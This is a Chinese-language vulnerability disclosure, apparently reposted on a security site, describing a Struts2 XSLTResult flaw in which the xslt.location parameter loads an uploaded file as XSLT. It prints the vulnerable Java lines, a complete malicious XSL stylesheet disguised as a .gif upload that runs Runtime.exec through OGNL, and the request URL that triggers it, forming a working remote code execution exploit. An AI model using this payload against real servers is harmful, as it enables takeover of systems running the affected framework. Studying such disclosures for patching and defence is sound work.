首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
struts2框架XSLTResult本地文件代码执行漏洞
来源:http://www.inbreak.net 作者:kxlzx 发布时间:2012-03-26  
这是个没有人公布过的漏洞,偶尔看代码发现的。事实上,这段代码用的人不多,需要同时满足两个情况,才可以搞。我猜测,发出struts2远程代码执行的那个大牛,不可能没发现这么弱智的漏洞。所以,要么是有原因不能公布,要么就是卖了,那就好,这次我首发,哈哈哈!
先讲讲原理:
struts2允许action有多种返回类型,其中包括XSLT类型,这种类型允许接受用户提交一个文件地址,并且去解析它为XSLT文件,无论扩展名是什么。
这是XSLTResult文件代码:
http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java
//获取用户提交的"xslt.location"的值
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
path = pathFromRequest;
URL resource = ServletActionContext.getServletContext().getResource(path);
//解析用户提交的文件地址为xslt
templates = factory.newTemplates(new StreamSource(resource.openStream()));

而XSLT解析,会允许执行java静态方法,所以,只要上传一个文件在服务器上,例如
/upload/7758521.gif

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		 version="1.0" xmlns:ognl="ognl.Ognl">
	<xsl:template match="/">
		<html> 
			<body> 
			   <h2>hacked by kxlzx</h2> 
			   <h2>http://www.inbreak.net</h2> 
			   <exp>
					 <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec(&quot;calc&quot;)', '')"/>
				</exp>
			</body> 
		</html> 
	</xsl:template> 
</xsl:stylesheet>

这个xsl文件解析时,会调用ognl中的

ognl:getValue('@Runtime@getRuntime().exec("calc")', '')

导致执行任意代码。
事实上,XSLT解析,可以执行任意代码,并非只是java的,php也可以,只是大多数人不注意罢了,我在之前,还看到很多关于XSLT执行代码的文章,当然不是为了安全研究。
可能这个知识点知道的不多,导致没有人发现struts2这个明显的安全问题。
八卦一下,这个漏洞和ognl木有任何关系,其实是因为正常的Runtime.getRuntime().exec()太麻烦了,ognl用起来非常方便,
而struts2必然自带ognl包,所以我跟随大牛脚步,坚定无比的执行ognl语句。

文件上传后,要找到一个返回xslt的action才行,XSLTResult的作用就是把action返回,直接转换为xml,便于传输。
通常在ajax的时候,用这个会比较常见,所以看到xml返回时,就要特别注意了。
假设一个xslt的返回action地址为

http://www.inbreak.net/xslt.action

我们就可以提交

http://www.inbreak.net/xslt.action?xslt.location=upload/a.gif


从原理上,看出来这个漏洞需要至少满足两个情况:
1、网站使用了XSLTResult返回
这一点不好验证,具体来说,这种返回是为了处理“对象–xml”的,就是把一个对象,封装成xml,然后扔出来。那么具体的业务逻辑,就要看网站的功能了。
2、要有上传文件功能
因为必须在web目录下的文件,才可以搞,他只能load到web下的,往前,就不行了。但是好在不限制文件名和扩展名,还是有很大机会的。
ps:谁帮忙申请个CVE。。。我不会鸟语,这个没申请过,当然,你用自己的名字申请也无所谓,只要留个链接就好。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Spring framework(cve-2010-162
·破解无线路由器密码,常见无线密
·ThinkPHP framework 任意代码执
·最土团购程序最新sql注入漏洞利
·HDWiki 5.1 任意用户密码修改漏
·各大网站后台地址
·DeDeCMS v5.7最新ajax_membergro
·[PCH-009]Security risk of php
·Discuz x2 source/function/func
·PostgreSQL基于错误XML外部实体
·Mysql身份认证漏洞及利用(CVE-20
·Thinkphp框架动态执行漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved